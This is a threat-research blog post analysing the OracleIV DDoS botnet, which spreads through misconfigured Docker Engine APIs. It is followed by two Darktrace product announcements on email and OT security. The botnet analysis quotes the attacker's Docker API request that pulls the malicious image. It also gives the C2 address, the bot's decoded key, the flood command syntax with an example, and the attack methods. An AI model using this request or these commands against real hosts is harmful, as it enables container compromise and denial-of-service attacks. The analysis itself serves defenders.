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November 13, 2023

OracleIV: A dockerized DDoS botnet

OracleIV is a DDoS botnet exploiting misconfigured Docker Engine APIs. It delivers a malicious Python ELF executable within a Docker container ("oracleiv_latest") to perform various DoS attacks. The botnet communicates with a C2 server for commands, demonstrating attackers' continued use of exposed Docker instances.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Nate Bill
Threat Researcher
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13
Nov 2023

Introduction: OracleIV

Researchers from Cado Security Labs (now part of Darktrace) discovered a novel campaign targeting publicly exposed instances of the Docker Engine API.

Attackers are exploiting this misconfiguration to deliver a malicious Docker container, built from an image named "oracleiv_latest" and containing Python malware compiled as an ELF executable. The malware itself acts as a Distributed Denial of Service (DDoS) bot agent, capable of conducting Denial of Service (DoS) attacks via a number of methods.

It’s not the first time the Docker Engine API has been targeted by attackers. This method of initial access has been increasing in recent years and is often used to deliver cryptojacking malware [1]. Inadvertent exposure of the Docker Engine API occurs frequently enough that several unrelated campaigns have been observed scanning for it. 

This should come as no surprise, given the move to microservice-driven architectures by many software teams. Once a valid endpoint is discovered, it’s trivial to pull a malicious image and launch a container from it to carry out any conceivable objective. Hosting the malicious container in Docker Hub, Docker’s container image library, streamlines this process even further.

Initial access

In keeping with other attacks of this kind, initial access typically begins with a HTTP POST request to the /images/create endpoint of Docker’s API. This effectively runs a docker pull command on the host to retrieve the specified image from Docker Hub. A follow-up container start command is then used to spawn a container from the pulled image. 

An example of the image create command used in the OracleIV command can be seen below:

POST /v1.43/images/create?
tag=latest&fromImage=robbertignacio328832/oracleiv_latest 

Malicious Docker hub image

As can be seen in the Docker API command above, the attacker retrieves an image named oracleiv_latest which was uploaded to Docker Hub. This image was still live at the time of writing and had over 3,000 pulls. Furthermore, the image itself appeared to be undergoing regular iteration, with the most recent changes pushed only 3 days prior to the writing of this blog.

The user also added the description Mysql image for docker to the image’s Docker Hub page, likely to make it seem more innocuous.

Examining the image layers reveals commands used by the attacker to retrieve their malicious payload - named oracle.sh, despite being an ELF executable - and bake it into the resulting image.

Image layer RUN command to retrieve malicious payload
Figure 1: Image layer RUN command to retrieve malicious payload

The image also includes additional wget commands to retrieve a copy of XMRig and an associated miner configuration file.

Image layer RUN command to retrieve xmrig miner
Figure 2: Image layer RUN command to retrieve xmrig miner
Image layer RUN command to retrieve miner configuration file
Figure 3: Image layer RUN command to retrieve miner configuration file

It is worth noting that Cado researchers did not observe any mining performed by this malicious container, but with these files baked into the image it would certainly be possible.

Static analysis

Since the bundled version of XMRig is both unused and a vanilla release of the miner, this section will focus on analysis of the oracle.sh executable embedded in the malicious container.

Static analysis of this executable revealed a 64-bit, statically linked ELF, with debug information intact. Further investigation led to the discovery of a number of functions with CyFunction in the name, confirming that the malware is Python code compiled with Cython.

Embedded Cython functions
Figure 4: Embedded Cython functions

The attacker code is relatively concise, the majority of it is dedicated to the different DoS methods present. The following functions were identified:

  • bot.main
  • bot.init_socket
  • bot.checksum
  • bot.register_ssl
  • bot.register_httpget
  • bot.register_slow
  • bot.register_five
  • bot.register_vse
  • bot.register_udp
  • bot.register_udp_pps
  • bot.register_ovh

Functions with the register_ prefix correspond to DoS attack methods, the details of which will be discussed in the following section.

Dynamic analysis

The bot connects back to a Command-and-Control server (C2) at 46.166.185[.]231 on TCP port 40320. It then performs primitive authentication, where the bot supplies the C2 with basic information about its environment in addition to a hardcoded password.

 : client hello from zombie! : X86 : key: b'bjN0ZzM0cnAwd24zZA==' : os: linux

The key decodes to “n3tg34rp0wn3d”. Supplying an incorrect key causes the C2 to reply with a string of expletive language, followed by the connection being terminated.

Following successful authentication, the C2 will continuously send “routine ping, greetz Oracle IV”. This is likely due to an implementation quirk, where many novice programmers new to socket programming will implement the blocking receive operation in a loop and require constant input to keep the loop going.

Cado Security Labs has performed monitoring of the botnet activity and has observed the botnet being used to DDoS a number of targets, with the operator preferring to use a UDP based flood in addition to an SSL based flood.

Botnet commands

C2 commands used to initiate the different DoS attacks take the following form:

<attack type> <target IP/domain> <attack duration> <rate> <target port>

For example, to conduct an SSL DoS attack on the website example.com for 30 seconds, a rate of 30, and on port 80, the C2 server would send the following command:

ssl example.com 30 30 80

Cado Security Labs were able to trick a botnet agent into connecting to a mimic C2 server instead of the real one and issued commands to observe the capabilities of the botnet. The botnet has the following DDoS capabilities:

UDP:

  • Performs a UDP flood with 40,000-byte packets
  • These far exceed the threshold and consequently get fragmented. This will create an additional computational overhead on both the target and source due to the reassembly of fragments, however it is unclear if this is intentional.

UDP_PPS:

  • Seems non-functional, when the command was issued no activity was observed.

SSL:

  • Opens a TCP connection, sends a large amount of data, and then closes. This process then repeats. The Cado dummy target server rejected all the fake requests with an error 400, so it would appear that the attack aims at flooding the target rather than exploiting some protocol specific function.
Tcpdump output for SSL Dos method
Figure 5: Tcpdump output for SSL DoS method

SYN:

  • It was anticipated that this would be a SYN flood, however the observed behavior is identical to SSL.

HTTPGET:

  • Seems non-functional, when the command was issued no activity was observed.

SLOW:

  • This is a “slowloris” style attack. The agent opens up many connections to the server and continuously sends small amounts of data to keep the connection open.

FIVE:

  • This is a UDP flood with 18-byte packets. Likely the packets are a part of the FiveM server protocol, and designed to cause a denial of service a FiveM server

VSE:

  • This is a UDP flood with 20-byte packets. Similar to FIVE, this seems protocol specific to Valve source engine.

OVH:

  • This is a UDP flood with 8-byte packets, designed to circumvent OVH’s DDoS protection.

Conclusion

OracleIV demonstrates that attackers are still intent on leveraging misconfigured Docker Engine API deployments as a means of initial access for a variety of campaigns. The portability that containerization brings allows malicious payloads to be executed in a deterministic manner across Docker hosts, regardless of the configuration of the host itself. 

Whilst OracleIV is not technically a supply chain attack, users of Docker Hub should be aware that malicious container images do indeed exist in Docker’s image library. Cado researchers reported the malicious user behind OracleIV to Docker.

Despite this, users of Docker Hub are encouraged to perform periodic assessments of the images they are pulling from the registry, to ensure that they have not been polluted with malicious code. 

Consistent with other attacks reliant on a misconfigured internet-facing service (e.g. Jupyter, Redis etc), Cado researchers strongly urge users of these services to periodically review their exposure and implement network defenses accordingly.

Indicators of compromise (IoCs)

File name SHA256

oracle.sh (embedded in container) 5a76c55342173cbce7d1638caf29ff0cfa5a9b2253db9853e881b129fded59fb

xmrig (embedded in container) 20a0864cb7dac55c184bd86e45a6e0acbd4bb19aa29840b824d369de710b6152

config.json (embedded in container) 776c6ef3e9e74719948bdc15067f3ea77a0a1eb52319ca1678d871d280ab395c

IP addresses

46[.]166[.]185[.]231

Docker image

robbertignacio328832/oracleiv_latest:latest

References

  1. https://blog.aquasec.com/threat-alert-anatomy-of-silentbobs-cloud-attack
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Nate Bill
Threat Researcher

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Email

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March 24, 2026

Darktrace Unites Human Behavior and Threat Detection Across Email, Slack, Teams, and Zoom

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The communication attack surface is expanding

Modern attackers no longer focus solely on inboxes, they target people and the productivity systems where work actually happens. Meanwhile, the boundary between internal and external usage of tools is becoming blurrier everyday – turning the entire workplace into the attack surface. In 2025, identity compromise emerged as the single most consistent threat across the global threat landscape, as observed by Darktrace research across our entire customer base. Over 70% of incidents in the US involved SaaS/M365 account compromise and phishing or email-based social engineering, making credential abuse the single most effective initial access vector.

Despite this upward trend, investment in existing security awareness training (SAT) isn’t moving the needle on reducing risk. 84% of organizations still measure success through completion rates1, even though completion of standard training correlates with less than 2% real improvement in risky behavior.2 By prioritizing completion, organizations reward time spent rather than meaningful engagement, yet time in training doesn’t translate to retention or real-world decision-making. This compliance-first approach has left the workforce unprepared for the threats they actually face.

At the same time, attacks have evolved. Highly personalized, AI-generated campaigns now move fluidly across email, Slack, Teams, Zoom, and beyond, blending channels and even targeting systems directly through techniques like prompt injection. This new reality demands a different approach: one that treats people and the tools they use as a single ecosystem, where behavior and detection continuously inform and strengthen each other.

Only an adaptive communication security system can keep pace with the speed, creativity, and cross channel nature of today’s threats. 

Ushering in the adaptive era of workplace security

With this release, Darktrace brings together our new behavior-driven training solution with email detection, cross-channel visibility, and platform-level insights. Powered by Self-Learning AI, it delivers protection across both people and the communication tools they rely on every day, including email, Slack, Teams, and Zoom.

Each component learns from the others – training adapts to real user behavior, detection evolves across channels, and response is continuously refined – creating a powerful feedback loop that strengthens resilience and improves accuracy against today’s AI-driven threats.

Introducing: Unified training and email security for a self-improving email defense

Our brand new product, Darktrace / Adaptive Human Defense, closes the gap between human behavior and email security to continuously strengthen both people and defenses. Each user receives personalized training that adapts to their own inbox activity and skill level, with learning delivered directly within the flow of their day-to-day email interactions.

By learning from each user’s interactions with security training, it adapts security responses, creating a closed-loop system where training reinforces detection and detection informs training. Let’s look at some of the benefits.

  • Reduce successful phishing at the source with contextual Just in Time coaching: Contextual coaching appears directly in real email threads the moment risky behavior is detected, so habits change where mistakes actually happen. Configurable triggers and group policies target the right users, reducing repeated errors and administrative overhead.
  • Adaptive phishing simulations that progress automatically with each user: Embedded simulations vary in their degree of realism, from generic phishing to generative AI-enabled spear phishing. Users progress through the difficulty levels based on their performance to give an accurate picture of their phishing preparedness.  
  • Native email security integration turns human behavior into quantified risk: The native email security integration allows engagement, links clicked, and question success signals to flow back into / EMAIL recipes and models, so detection and response adapt automatically as users learn.  
  • Actionable risk and trend analytics beyond completion rates: Analytics that surface repeat offenders, high-value targets, and measurable exposure, moving beyond completion metrics to give leaders actionable insights tied to real behavior.

Learn more about / Adaptive Human Defense in the product solution brief.

Industry-first cross-channel full-message analysis for email, Slack, Teams, and Zoom

Darktrace now brings full-message analysis to Email, Slack, Teams, Zoom, and even generative AI prompts. The same leading behavioral analysis from EMAIL extends to every message, tracing intent, tone, relationships, and conversation flow across all communication activity for a complete understanding of every user interaction.

By correlating messaging and collaboration activity with email and account environments, cross-channel analysis reveals multi-domain attack paths and follows both users and threats as a single, continuous narrative – delivering better context to improve detection across the entire organization.

  • Eliminate cross-channel blind spots: Detect phishing, malware, account takeovers, and conversational manipulation across email and collaboration platforms, so attackers can’t exploit Slack, Teams, or Zoom as a new entry point. Unified behavioral analysis gives security teams a coherent, single view, for no more fragmented, channel-specific gaps.
  • Spot generative AI prompt injection attacks before they manipulate assistants: Dedicated models surface threats targeting corporate AI assistants – like ShadowLeak and Hashjack – before they can silently manipulate workflows, reducing risk before static filters catch up.

Learn more about Darktrace’s messaging security offering in the product solution brief.

Industry-first DMARC with bi-directional ASM and email security integration

Darktrace transforms domain protection by linking DMARC, attack surface intelligence, and email security into a single, continuously evolving workflow. Instead of treating domain authentication and exposure as separate tasks, this unified approach shows not just where domains are vulnerable, but how attackers are actively exploiting them.

  • Fix authentication weaknesses faster: SPF, DKIM, DMARC configurations, and external exposure data are analyzed together, giving teams clear guidance to correct weaknesses before they can be abused. Deep bidirectional integration with attack surface intelligence reduces impersonation risk at the source.
  • Accelerate email investigations: DMARC context is embedded directly into email workflows, enriching triage with authentication posture, internal/external sender lists, and seamless pivots between email and domain intelligence for faster, more accurate investigations.

Committed to innovation

These updates are part of a broader Darktrace release, which also includes:

Join our Live Launch Event on April 14, 2026.

Join us for an exclusive announcement event where Darktrace, the leader in AI-native cybersecurity, will be announcing our latest innovations, including  a demo of our new product / Adaptive Human Defense, an exclusive conversation with a Darktrace customer, and a deep dive into the Darktrace ActiveAI Security Portal.  

Register here.

References

[1] 84% of organizations still measure security awareness training success through completion rates, a vanity metric with no correlation to behavior change. (Source:  NIST Awareness Effectiveness Study, Forrester 2025)

[2] 'Limited benefit from embedded phishing training. Using randomized controlled trials and statistical modeling, embedded training provides a statistically-significant reduction in average failure rate, but of only 2%.' Ho, G., Mirian, A., Luo, E., Tong, K., Lee, E., Liu, L., Longhurst, C. A., Dameff, C., Savage, S., & Voelker, G. M. (2025). Understanding the Efficacy of Phishing Training in Practice. Proceedings of the 2025 IEEE Symposium on Security and Privacy.

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About the author
Carlos Gray
Senior Product Marketing Manager, Email

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OT

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March 25, 2026

Advancing OT Security with Architecture Visibility, Operational Reporting, and Industrial Context

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The challenge of operational understanding in complex OT environments

Most industrial organizations today already have some level of asset visibility. The bigger challenge is maintaining a trusted, shared understanding of the environment as it evolves. OT teams still frequently rely on static diagrams, spreadsheets, and manually maintained documentation because these are often the only artifacts trusted by auditors, leadership, and engineering teams. However, these references quickly become outdated as environments change.

At the same time, compliance expectations continue to increase, particularly around IEC-62443 aligned programs. Producing defensible security evidence often requires teams to manually assemble reports across multiple tools while still debating asset inventories and classifications. This creates operational overhead and reduces confidence during audits, risk reviews, and incident response situations.

Advancing operational OT security with Darktrace / OT

Darktrace / OT's latest updates focus on helping industrial organizations close this operational gap by strengthening how OT security platforms support real workflows. This release enhances Operational Overview with architecture visibility, improves how industrial assets are represented, and introduces structured reporting capabilities aligned to governance needs.

Together, these improvements help organizations maintain a more reliable operational picture of their environments while reducing manual effort associated with documentation, reporting, and asset validation.

Native OT architecture visibility inside Operational Overview

Understanding how industrial environments are structured is critical during investigations and risk reviews, yet architecture diagrams are typically maintained outside security platforms and quickly fall out of sync with operational changes. This disconnect makes it harder for OT, IT, and security teams to maintain a shared understanding of their environments when incidents occur.

Darktrace / OT introduces native OT architecture diagrams directly within Operational Overview, allowing teams to maintain a live representation of how OT assets and systems relate to each other inside the same platform used for monitoring and investigations.

These updates help organizations:

  • Maintain a shared architectural understanding across OT, IT, and security teams
  • Improve investigation context by understanding how systems relate operationally
  • Reduce reliance on static diagrams that quickly become outdated

Improving OT governance with operational asset and compliance reporting

Accurate reporting remains a major operational challenge for industrial organizations, particularly when security posture must be demonstrated to auditors, regulators, and leadership. Many OT teams still rely on manual screenshots, spreadsheets, or fragmented exports to show asset inventories and compliance alignment.

Darktrace / OT introduces structured OT asset reporting and IEC-62443-3-3 compliance reporting directly from Operational Overview. These capabilities allow organizations to generate consistent, repeatable outputs based on continuously observed OT environments rather than manually assembled documentation.

These updates help customers:

  • Reduce manual compliance effort through automated IEC-62443 reporting aligned to live OT data
  • Support governance workflows with structured OT asset and architecture reporting
  • Improve audit readiness with consistent reporting aligned to operational security posture

Expanding industrial context through improved asset representation and protocol coverage

Industrial environments rely on diverse technologies spanning manufacturing systems, power and utilities infrastructure, healthcare devices, and Industrial IoT deployments. Maintaining strong visibility across these environments requires both accurate device representation and deeper protocol understanding.

Darktrace / OT strengthens industrial context through expanded ICS and IoMT device classification alongside broader industrial protocol coverage. These improvements help organizations better understand specialized devices and communications across sectors such as manufacturing, energy, healthcare, and Industrial IoT.

These enhancements enable organizations to:

  • Improve visibility into specialized ICS, IoMT, and industrial infrastructure devices
  • Strengthen monitoring across sector-specific industrial communications in manufacturing, utilities, and IIoT environments
  • Increase confidence in detection across complex and evolving industrial technology estates

Supporting practical OT security outcomes for industrial organizations

Darktrace / OT continues our focus on delivering capabilities that help industrial organizations operationalize security rather than simply deploy tools. By improving architecture understanding, strengthening asset representation, and supporting governance reporting, this release helps organizations manage OT security with greater confidence.

As industrial environments continue to evolve, organizations need more than visibility. They need the ability to maintain trusted operational understanding and demonstrate security readiness without increasing operational friction. This release reflects Darktrace’s continued commitment to supporting the priorities that matter most in OT: safety, uptime, and resilience.

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About the author
Pallavi Singh
Product Marketing Manager, OT Security & Compliance
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